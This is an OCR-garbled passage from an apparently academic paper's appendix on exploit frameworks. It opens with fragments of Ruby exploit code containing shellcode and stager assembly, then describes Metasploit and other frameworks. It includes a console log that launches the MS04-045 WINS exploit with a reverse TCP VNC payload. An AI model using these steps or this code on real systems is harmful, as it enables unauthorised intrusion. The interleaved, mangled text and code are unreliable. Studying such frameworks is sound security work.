277 "\ x89\ x44\ x24\ x08" + # nov Yeax, 0x8( %esp) 383 payl oad += static_table_| ookup

278 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 384 el se

279 "\ x81\ xc2\ x8d\ x00\ x00\ x00" # add $0x8d, %edx 385 print "WARNING Undefined CPU type was sel ected. Defaulting to ’
280 "\ x8b\ x44\ x24\ x1c" + # nov  \xOxlc(%esp), %eax Emul ated !\ n";

281 "\ x0f \ xb6\ x00" + # novzbl (%ax), Y%eax 386 payl oad += static_table_l ookup

282 "\ x88\ x02" + # nov Y%l , (Yedx) 387 end

283 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , ¥edx 388

284 "\ x81\ xc2\ x8e\ x00\ x00\ x00" # add $0x8e, %edx 389 # we place the recovery right after

285 "\ x8b\ x44\ x24\ x1c" + # nov \ x0Ox1c(%esp), %eax 390 # part 2 so we don't need to junp

286 "\ x83\ xcO\ x01" + # add $0x1, Y%eax 391 # over part 3 once we're done copying...

287 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 392 payl oad += stager_part_2 + recovery

288 "\ x88\ x02" + # nmov Y%l , (Yedx) 393

289 "\ x8b\ x54\ x24\ x18" + # nov  \ xOx18(%esp), %edx 394 # fill in correct junp length

290 "\ x81\ xc2\ x8f \ x00\ x00\ x00" # add $0x8f , %edx 395 payl oad[4,4] = [ payload.length - stager_part_1.length ].pack('V);
291 "\ x8b\ x44\ x24\ x1c" + # mov  \xOxlc(%esp), %eax 396

292 "\ x83\ xc0\ x02" + # add $0x2, Yeax 397 # fill in junp-back length

293 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 398 #

294 "\ x88\ x02" + # nov Y%l , (vedx) 399 # this is the payload at the end

295 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , ¥edx 400 # of stager_part_1 (this includes

296 "\ x81\ xc2\ x90\ x00\ x00\ x00" + # add $0x90, %edx 401 # stager _part_3 without the |ast

297 "\ x8b\ x44\ x24\ x1c" + # mov  \xOxlc(%sp), %eax 402 # 5 bytes. the 4 bytes nust al ways

298 "\ x83\ xcO\ x03" + # add $0x3, Y%eax 403 # be subtracted when junping back

299 "\ x0f \ xb6\ x00" + # novzbl (%ax), Yeax 404 # with \xe9)

300 "\ x88\ x02" + # mov Y%l , (Yedx) 405 stager _part_3[stager_part_3.length - 4, 4] = [ Oxffffffff - 4 - (
301 "\ x8b\ x44\ x24\ x08" + # nov  \ xOx8(%esp), Yeax stager_part_3.length - 5) - (payload.length - stager_part_1.
302 "\ x83\ xcO\ x21" + # add $0x21, Yeax length) ].pack(’'V)

303 "\ x89\ x44\ x24\ x08" + # nov Yeax, 0x8( %esp) 406

304 "\ x8b\ x54\ x24\ x18" + # nov \ x0x18( %esp) , Yedx 407 payl oad += stager_part_3 + execve_payl oad
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end
end

end
end
end
end
end
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B Exploit Frameworks

An exploit framework is a set of tools that supports the pro-
grammer in repetitive jobs such developing payload code to
be executed and sending it to a target machine. Typically,
these frameworks even support writing and categorizing ex-
ploit code in a higher-level language and give the oppor-
tunity to store and search for already existing exploits and
their field of action (i.e. on what type of target system they
work, etc.).

Today, many different exploit frameworks exist, with
many of them being free for download from the internet.
Whereas almost all of them share a common set of features,
we will discuss their main differences, their advantages an
disadvantages, in the following sections.

B.1 The Metasploit Framework

The Metasploit Project[12] is an open source project that in

cludes an exploit framework and is freely available for Win-

dows and Unix systems. It consists of different elements,
such as

e an exploit database to categorize and store exploit
code,

e a payload database to store payloads for different sys-
tems (e.g. Windows, Unix, Mac, etc.) and system-
modes (kernel versus. user-mode),

e a web-interface to easily search for exploits and pay-
loads in the system and

e various programs to combine exploit and payload code
and directly attack a given machine.

As Metasploit is mostly written in Ruby (with additional
modules written in C and assembler), programmers can eas-
ily extend Metasploit with their own exploit or payload code
that can then be used with other existing parts of the frame-
work to form new attacks.

Metasploit is made up of multiple applications, each very
handy for different requirements:

Console interface. The main console interface can be
used for looking up available modules like exploit- and
payload-code and setting up and launching attacks against
other computer systems. The text-based interface is very
userfriendly and supports the user with various functions
like tab-completion and direct environment calls (i.e. ma-
nipulating the filesystem without leaving the Metasploit
console). For a detailed description of available commands
and further information, please refer to the user-guide in-
cluded in the Metasploit download.



Command-line interface. Similar to the console inter- 1o
face, a command-line interface is available for automated:
use of the framework. This interface takes the actions to::
be executed inside Metasploit as parameter, executes thé
given tasks and exits afterwards. This is especially handy:s
for repetitive tasks like attacking a wide range of systems

nsf expl oi t (ms04_045_wi ns) > show options
Modul e options:

Name  Current Setting Required Description
yes The target address

RPORT 42 yes The target port

Payl oad options:

or launching different types of attacks on possibly mudtipl % Nare Qurrent Setting  Required Description
23 B T T LR
target hOStS. 24 AUTOVNC  true yes Automatical Iy | aunch
ati cally
gg DLL /... [/vncdll.dll yes ¥t’:Ke: \\/Ioi‘g\erp;t hp{ ss?';te
X ) ) 27 VN_C DLL to upl oad
Web interface. Metasploit contains a small webserver. 2 BXTRAC process yes B i aue: seh.
This tool is very useful for searching the database for avail 2 tfst  10.0.5.2 e The |ocal address
able exploits and payloads. Furthermore, it provides a verys2 ~ Wwoost  127.0.0.4 yes The mest host to use for
-tO- ibili i i he | |
easy-to-use possibility for launching an attack by simply 3 T se00 yes The mest hort Lo use for

clicking through some web-dialogs, selecting the desired:s

type of exploit and payload, providing a target host address

and clicking on arattack button that will open a remote
shell once the attack was successfully completed.

GUl interface. Similar to the web interface, Metasploit
offers a graphical interface to search for and launch etgploi

B.1.1 Attacking a Host via Metasploit

As mentioned in the previous section, Metasploit offers var

ious ways to launch an attack against a target machinemode.

Exploit target:

40 Id Nane

S

42 0 W ndows 2000 English

43

44

45 nsf exploit(ms04_045_wins) > exploit

B.1.2 Kernel-mode exploits in Metasploit

Since the goal of our work ultimately is to exploit device
drivers, the exploited code will obviously run in kernel-
This requires special payloads to be used. Al-

Since the console interface is probably the fastest and mosthough Metasploit was originally developed for user-space
precise way though, we will take a closer look at how a sim- program exploitation, the recently released version 3.0 of
ple attack can be launched in this interface. For more de-the framework now supports kernel-mode payloads. In or-

tailed instructions, again refer to the Metasploit usedgu

After starting the console interface with the command
msfconsolgethe interface will display the current version of
Metasploit and some additional information and wait for
user commands. By callinghow exploitsand show pay-
loadsall currently available exploits and payloads are dis-
played respectively.

To select an exploit, the user can issue the comnuzed
exploitnameand show all necessary options wihow op-
tions These can then be set by issuing #et and setg
command$ After the exploit selection and the setting of
all necessary options, a further call sbow payloadsvill
only display payloads that are compatible with the curgentl
selected exploit.

Using theset payload nameommand, the payload for

der to support the big variety of already available payloads
within Metasploit, the framework developers have decided
not to use specially crafted payloads for kernel-modes but
rather introduce a kernel-wrapper around user-mode pay-
loads. This kernel-wrapper first calls specific functiorat th
set up an environment that allows the execution of user-
mode payloads within the kernel.

At the time of this writing, these kernel-wrappers are
only supported for Windows systems (XPSP2 and 2K3
SP1). If other systems are to be attacked, the predefined
payloads will not work. The users are then forced to write
their own payloads to be executed by Metasploit.

Metasploit is based on SVN to allow easy updates of
available modules like exploits, payloads, NOP-sledge gen
erators, etc. If one wants to add a custom exploit to the

the attack can be selected and the attack can be launchegamework, all that has to be done is to add a new ruby-

with theexploitcommand. A full log of a typical attack can
be seen next:

mef > use wi ndows/wi ns/ ns04_045_wi ns

nsf expl oit (nms04_045_wi ns) > set RHOST 10.0.5.15

RHOST => 10.0.5. 15

nmsf expl oit (nms04_045_wins) > set RPORT 42

RPORT => 42

nsf expl oi t (m504_045_wi ns) > set payl oad wi ndows/vncinject/reverse_tcp
payl oad => w ndows/ vnci nj ect/reverse_tcp

msf exploit(ms04_045_wins) > set |host 10.0.5.2

| host => 10.0.5.2

©ONOU A WN

6for more information on the local and global datastores refehe
user-documentation
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file to the modules/exploitsub-directory of the Metas-
ploit root directory. The new exploit-file should contain a
class-definition, subclassing one of the Metasploit exploi
(e.g.Msf::Exploit::Remotg and provide definitions for the
methodscheckandexploit The easiest way to insert a new
exploit successfully is by copying an existing exploit and
modifying the required parts approprietly.

Similar to adding a custom exploit, a new payload can be
inserted by adding a ruby-definition into theodules/pay-



loadssub-directory. All that must be made sure is to make
a call toregisteroptionsfrom within theinitialize method.

Again, modifying an existing payload simplifies the cre-
ation a lot.

B.2 Other Frameworks

Very similar to the Metasploit project, SecurityForest's
project also contains an exploitation framework. The
project’s interfaces and possibilities are very compae &bl
Metasploit, with the small difference that exploits and pay
loads need not be rewritten in ruby to be usable by the ex-
ploitation framework.

Despite this advantage, the SecurityForest’'s framework
is not as popular as the Metasploit project in security exper
groups.

Other non-free exploit frameworks, such as the Core Im-
pact framework| [6] or Immunity’s CANVAS[4], also offer
very professional tools for automated penetration tests to
aid a user in finding security vulnerabilities in a network,
allegedly without the need of security experts.
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